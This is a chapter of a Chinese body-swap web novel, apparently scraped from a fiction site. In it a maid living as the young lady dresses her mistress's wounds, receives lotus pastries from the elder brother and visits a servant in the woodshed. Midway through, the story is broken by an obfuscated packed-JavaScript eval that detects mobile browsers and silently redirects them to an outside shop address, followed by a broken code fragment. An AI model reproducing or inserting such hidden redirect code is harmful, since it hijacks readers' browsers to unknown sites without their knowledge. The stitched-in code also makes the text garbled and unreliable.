文趣网 > 都市小说 > 谢小姐她只是想活命 > 4. 荷花酥
    这天一大早,谢晏清便来到了下房,此时下房已经空无一人,丫鬟们都陆陆续续去做活了。

    她前些刚与嬷嬷打过招呼,今日小姐还是会继续在下房休息。

    她到房间时,纳兰清正睁着眼望着房顶,不知在想些什么。

    谢晏清走过去,纳兰清这才掀了掀眼皮,短短几天,她的生活从云端跌至泥地,她闹过,哭过,怨过,可都无济于事,甚至还遭了顿打。

    她是娇蛮无理,但她也不傻,知道再这样闹下去不但讨不到任何好处,反而可能换来更重的处罚。

    反正现在她说什么都无人信,索性现在不如闭嘴,待找到合适的机会再揭开一切真相。

    至于碧桃这个丫鬟,哼,到时她定要爹爹狠狠治她的罪。

    “来了?”纳兰清躺在床上,身上那股高高在上的劲却是未减半分,谢晏清依然是能从那具丫鬟躯壳清晰地感知到主子对丫鬟的压迫。

    “是,今日过来帮小姐上药,另外帮小姐晒晒被褥。”谢晏清说着,轻轻掀起纳兰清的衣裳。

    伤口还是狰狞,但经过几日的用药,已经是比一开始好上太多了,能看出伤口在缓慢地回复。

    谢晏清轻柔地将药抹上去,但纳兰清还是疼得皱眉。

    “你动作轻些啊,弄疼本小姐了。”

    谢晏清将手中的动作又放轻了一些。

    “喂,近日里府里可有发生什么事。”

    “回小姐,并无什么特殊的事发生,今日先生来府中教书。”

    提到先生与学习,纳兰清眸中闪过厌恶与抗拒之色。

    “你替我去上课,也算是有些用处了。”

    “不过……”纳兰清话锋一转,语气中带着讥讽:“你不过是个丫鬟,大字不识一个,你去能听懂什么?”

    谢晏清垂下眼,掩盖眸中情绪:“自然是听不懂的。”

    “哼,要不是占了本小姐的身子,你一辈子也没机会读书识字,将来换回来,你可得一辈子记得,是本小姐赐予了你这宝贵的机会。“

    “是,奴婢会一直记得,是小姐给了奴婢来之不易的机会。”

    “哼,知道就好,不过我劝你也别有什么不该有的心思,你该时时刻刻看清你原本的身份,不属于你的东西,终归不可能是你的。”

    “奴婢自然是不敢的。”谢晏清将最后一点药膏抹匀,心中却无端生起一阵悲凉。

    是啊,即便短暂的换上了小姐的壳子,但有些东西,是骨子里与生俱来的差距,她心中清楚的知道,除了这具暂时的身躯,她浑身上下没有一处是与小姐相像的,就连这几日如梦似幻的时光,也是她用这幅身子偷来的。

    更可笑的是,她竟对这几日的日子产生了一丝留恋与依赖。

    心念刚起,她赶忙强行压下,贪念只会让她丢了本心,她不想过后变回来时,对这短暂的时光产生过多贪恋。

    手上动作停顿了一瞬,她的视线模糊一片,她强撑着努力不让眼泪掉落,纳兰清此刻是趴着的,看不见她脸上的表情,她抬手快速擦去眼角摇摇欲坠的泪。

    过了一会儿,她听到了自己酸涩的声音:“小姐说笑了,奴婢心中不敢存半分非分之想。”

    纳兰清满意地挪了挪身子:“算你识相,要是让我知道你敢肖想什么你不该想的东西,我要你好看。”

    谢晏清将药瓶的盖子盖好,抱起纳兰清身上那床棉被往外走去。

    纳兰清带着笑意的声音从身后传来“好好享受这段本小姐施舍给你的好日子吧,毕竟你之后变回丫鬟,可就再也没机会接触到这些东西了。”

    谢晏清停了一瞬,没回头,脚步加快了一些。

    “是,小姐,若没别的事,奴婢就先退下了。”

    谢晏清将被子晒好后回了房间,今日先生没来上课,她便从书架里翻出几本书看着。

    这几日她习得了一些字,书本上的内容虽还是看不懂,但已经能看懂一部分字了。

    一旁的书桌上放着一根狼毫笔,是当初老爷花重金为小姐买来的,由于太长时间没用,笔尖已经僵硬泛灰。

    谢晏清走过去将笔用水泡软,她不懂怎么研墨,也不敢叫丫鬟来,怕被丫鬟看出她不会写字,索性蘸了些水当墨水。

    她从床头翻出那三本书,分别展开折上了的那一页摆在桌上,从一旁抽出一张宣纸照着写。

    她不会握笔,之前偶然间瞥到过老爷和少爷写字,似乎是用手指夹着笔?

    谢晏清在脑中回忆着他们的动作,依葫芦画瓢地伸出两根手指夹着笔在纸上写字。

    与其说是写字,不如说是照着瞎画,沾了水的毛笔在纸上留下一道道蚯蚓似的水痕,歪歪扭扭,根本看不出她写的是自己的名字。

    “噗。”一阵戏谑的笑声措不及防传入她的耳朵,谢晏清猛地抬头,是少爷纳兰泽。

    “小妹怎么今日突然心血来潮写字了。”

    谢晏清羞得满脸通红,一把捂住纸上的内容“大哥,你怎么过来了。”

    “今天提早忙完了,过来看看你。”纳兰泽说着拿出一袋糕点“你最爱吃的御轩阁。”

    谢晏清伸出手接过却没吃,把纸袋放一旁。

    “对了,怎么蘸水写,是不是墨水用完了?我待会差人再送一些来……”

    “不用了!”谢晏清连忙打断他的话,尴尬地恨不能找个地缝钻进去,自己总不能说是因为不会研墨,才蘸水写的吧,那不然多尴尬。

    她低头看了一眼此刻已经洁白的纸面,暗暗松了口气,还好是用水,不然让少爷看到自己在写谢晏清的名字,到时不知该如何解释是好。

    察觉到纳兰泽疑惑的目光,谢晏清眼睛慌乱地转了两圈,支支吾吾道:“家里还有墨水的,我不过心血来潮是想试试用清水写字,对。”

    “这样啊,那好吧,小妹开心就好,缺什么尽管和我说。”还好纳兰泽并未深究,神色如常。

    “嗯嗯我知晓了大哥。”谢晏清小鸡啄米似的疯狂点头,心里期盼着他能快些走,再待下去她就可能要露馅了啊啊啊!

    “对了,我前几日听先生夸奖你说你态度变化甚大,态度认真,虚心好学,爹娘听到以后乐的只夸你呢,可是真的?”纳兰泽支着下巴,突然想到了什么,问道。

    谢晏清一惊,没想到先生竟然直接去同他们讲了。她紧张地看了纳兰泽一眼,索性纳兰泽神色如常,看上去并未起疑。

    她犹豫着该怎么回答是好,纳兰泽便一把揽过她的肩膀,高兴地说:“可以啊小妹,看到你如今变化这样大,大哥甚是欣慰。”

    谢晏清攥紧衣角,不敢回话,只是反问“那大哥,你就不怕我有朝一日变回来吗?”

    纳兰泽只是不在意地回答:“变回来又如何?不变回来又如何?无论怎样,你都是我的妹妹,纳兰府的大小姐,我的妹妹,只需要天天开心就好,只要纳兰府还在一天,你想做什么都可以,无需看别人的眼光。”

    谢晏清没想到纳兰泽竟是这个回答,她直接整个人不可置信地愣在了原地。

    她想过纳兰泽可能会疑惑,可能会不解,甚至有可能生气,但她却独独没想过他会对纳兰清如此霸道的偏袒。

    这时,翠竹走过来,行了个礼:“少爷,老爷叫你前去书房一趟,说有事商量。”

    纳兰泽应了一声,转过头摸了摸谢晏清的头:“那大哥先过去了,有什么事直接与丫鬟说就行。”

    谢晏清看着纳兰泽逐渐远去的背影,心中涌上一阵酸楚。

    小姐家里的所有人都是真心实意的爱她,在这般充满爱的氛围下长大,也不怪小姐能长成那副任性的性子了。

    毕竟她清楚地知道,无论做什么事,家人都是坚定地支持她,就算天塌下来,也有人心甘情愿地帮她顶着。

    她拿起一旁的纸袋,里面放着小姐最爱吃的荷花酥,还冒着热气。

    她到底还是没舍得吃,小心翼翼地将纸袋放进荷包。

    谢晏清看着看着台上散落的纸笔,也没了继续写下去的心思,她收拾好桌上的东西,在庭院里闲逛。

    从前她只是丫鬟,每天除了休息,其余的时间大多数都在做活,鲜少有空余的时间,如今她一下子空闲了起来,反倒有些不习惯了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17848226|211770||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    从前她没心思观赏,现在她脚步慢了下来,发现纳兰府的风景也别有一番风味。

    庭院内挖了一个小池塘,一旁栽了些花草与柳树,此刻春意盎然,柳枝抽出了嫩芽,细竹节节拔高,各种艳丽的花也都慢慢盛开了。

    谢晏清不紧不慢地走着,眼前景色不断变换,过了一处转角,她面前出现了一棵高大的树,但那棵树树叶焦黄,与其他树对比起来,这棵树属实是有些荒凉了。

    不知怎的,她忽然觉得这棵树有些莫名眼熟。

    目光一转,她脚步停在原地。

    她发觉自己不知不觉间竟走到了柴房门口。

    柴房孤零零地伫立在此处,四周荒凉,与春意浓浓的纳兰府形成鲜明对比,似乎是春天将此处拒之门外了。

    她在原地站了一会儿,神使鬼差般推门走了进去。

    萧闻煜在劈柴,听见声音下意识抬头,却在看到来人时面色骤然一冷,冷声询问道:“大小姐最近是不是太闲了,不然怎么总爱往我这处寒舍跑。”

    谢晏清停住脚步,心中暗暗埋怨自己刚才怎么就如此冲动直接进来了。

    她强装镇定,努力让自己保持平常语气:“谁和你说我是刻意进来的?这整个庭院都是本小姐的,本小姐爱去哪就去哪,你管得着吗?”

    萧闻煜听完却笑了:“这么说来,倒是我多虑了。”

    “那是当然,本小姐金枝玉贵,怎么会特地来这又脏又破的地方,肯定是你多想了。”

    察觉到他探究的视线,谢晏清语气莫名有些心虚:“看什么看,还不快劈你的柴,本小姐也是你能肖想的?”

    萧闻煜也不再多说什么了,继续低下头劈柴,谢晏清站在原地并没有走,她心中挂念前几日他的伤口,想借机看看。

    看两眼我就走,绝不多待,绝对不是因为我关心他,只是因为怕他日后因为伤口对纳兰府动怒,嗯对就是这样,我绝对没有别的意思。

    说服自己后,谢晏清脚步不知不觉又往前挪了两步,眼角无意识朝萧闻煜腹部偷看。

    面前的人突然停下了动作,谢晏清疑惑抬头,对上一双探究的眼。

    “大小姐想看与我直接说就是,用不着这么偷偷摸摸的。”

    萧闻煜低下头看着谢晏清,刚好谢晏清在这时抬头,两人的目光措不及防撞在一起。

    谢晏清的眼睛水灵动人,纯粹干净的没有一丝杂质,从前那个娇纵蛮横的纳兰清压根不会出现这样天真的眼神。

    面前那双水眸愣了愣,突然怒了,但是她演技实在拙劣,眼神软的不行,生气都像在扮可爱。

    “谁看你了?你少自作多情,本小姐就是……就是闲得无聊,观察一下你劈柴的动作,除此之外没有任何意思,倒是你,不专心干活,小心我回头找爹爹告状!”

    “哦?那我还挺期待。”萧闻煜将斧头立在木桩上,手撑在斧子上倚着,语气淡淡。

    谢晏清呆在原地,本来她就是嘴上说说,怎么可能真的敢去找。

    萧闻煜低头,温热的呼吸喷洒在她的颈侧,起身时,他看到谢晏清从颈间开始,往上皮肤一寸寸变红,手足无措地站在原地,突然觉得很有趣。

    他本就不怕纳兰府的这些人,对他而言,纳兰府只是一个暂时的容身之所,纳兰老头若是找过来,让他罚一顿就是。

    “你就不怕我爹爹怪罪你吗?”谢晏清看着他如常的神色,还是忍不住问道。

    “不怕,我在这等着,你可以试试,尽管让他来。”谢晏清听到他的回答,看见他愈发阴沉的眼神,心里不禁咯噔一下。

    完了完了,前面好不容易才稍微抚平一点他内心对纳兰府的意见,如今见他这样,之前的努力怕是都要白费了。

    谢晏清心中懊恼自己怎么就触到了他心中的怒点,随机她胡乱地在身上摸索起来,试图找到些什么东西安抚他的情绪,突然,她的手在身侧的荷包摸到了一个温热的东西。

    萧闻煜回过神来,嘴里突然被塞进了一块甜甜的东西。

    他猛地愣住,抬头,却措不及防撞上一双含笑的眼眸。